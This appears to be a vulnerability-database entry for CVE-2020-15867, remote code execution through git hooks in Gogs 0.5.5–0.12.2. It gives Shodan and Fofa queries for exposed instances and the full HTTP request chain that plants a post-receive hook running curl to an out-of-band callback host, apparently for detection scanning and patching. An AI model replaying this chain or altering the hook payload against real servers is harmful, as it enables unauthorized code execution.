| Title | Gogs 0.5.5 - 0.12.2 - Remote Code Execution |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Upgrade Gogs to a version that is not affected by the vulnerability (0.12.3 or later). |
| CVSS Score | 7.2 |
| EPSS Score | 0.92751 |
| CVE ID | CVE-2020-15867 |
| Shodan Query | cpe:"cpe:2.3:a:gogs:gogs"http.title:"sign in - gogs" |
| Fofa Query | title="sign in - gogs" |
| Tags | cve cve2020 rce gogs git authenticated packetstorm intrusive vuln |
Gogs 0.5.5 through 0.12.2 is susceptible to authenticated remote code execution via the git hooks functionality. There can be a privilege escalation if access to this feature is granted to a user who does not have administrative privileges. NOTE: Since this is mentioned in the documentation but not in the UI, it could be considered a “product UI does not warn user of unsafe actions” issue.
GET /user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.6
Connection: close
Accept-Encoding: gzip
POST /user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Connection: close
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_csrf=ikxFOp&user_name=OqFXb2&password=xh9NBiF3
GET /repo/create HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /repo/create HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Connection: close
Content-Length: 133
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_csrf=Sq5fpk&user_id=1&repo_name=38FRCnNklr5qkElTKKY166Cl0dC&private=on&description=&gitignores=&license=&readme=Default&auto_init=on
POST /OqFXb2/38FRCnNklr5qkElTKKY166Cl0dC/settings/hooks/git/post-receive HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:140.) Gecko/20100101 Firefox/140.
Connection: close
Content-Length: 94
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_csrf=Sq5fpk&content=%23%21%2Fbin%2Fbash%0D%0Acurl+d5jojtple0o30h0miibgopdkgkshwecns.oast.live
GET /OqFXb2/38FRCnNklr5qkElTKKY166Cl0dC/_new/master HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept-Encoding: gzip
POST /OqFXb2/38FRCnNklr5qkElTKKY166Cl0dC/_new/master HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Connection: close
Content-Length: 116
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_csrf=Sq5fpk&last_commit=WLLiV4&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-15867.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-15867.pcap
N/AN/A